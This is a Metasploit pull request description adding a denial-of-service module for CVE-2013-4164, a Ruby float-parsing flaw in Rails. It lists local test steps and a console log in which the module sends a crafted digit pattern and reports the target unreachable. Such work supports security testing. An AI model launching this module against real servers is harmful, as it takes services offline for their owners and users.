rapid7/metasploit-framework — pull request #2676 by todb-r7 (2013-11-22 23:09:40+00:00)
Title: Module for CVE-2013-4164

So far, just a DoS. So far, just tested on recent Rails with Webrick and Thin front ends -- would love to see some testing on ngix/apache with passenger/mod_rails but I don't have it set up at the moment, so please hold off on landing until that's tested (either by me or some kind soul).

## Validation

- [ ] Create a rails app using ruby-1.9-3-p448, like so:
````
rails new whoop
cd whoop
rails s
````
- [ ] Point the module against it, see results:

````
msf > use auxiliary/dos/http/rails_json_float_dos
msf auxiliary(rails_json_float_dos) > set rhost localhost
rhost => localhost
msf auxiliary(rails_json_float_dos) > exploit

[*] localhost:3000 - Using digit pattern of 1388 taken to 125000 places
[*] localhost:3000 - Sending DoS HTTP request to /
[*] localhost:3000 - Checking availability
[+] localhost:3000 - DoS appears successful (Host unreachable)
[*] Auxiliary module execution completed
msf auxiliary(rails_json_float_dos) >
````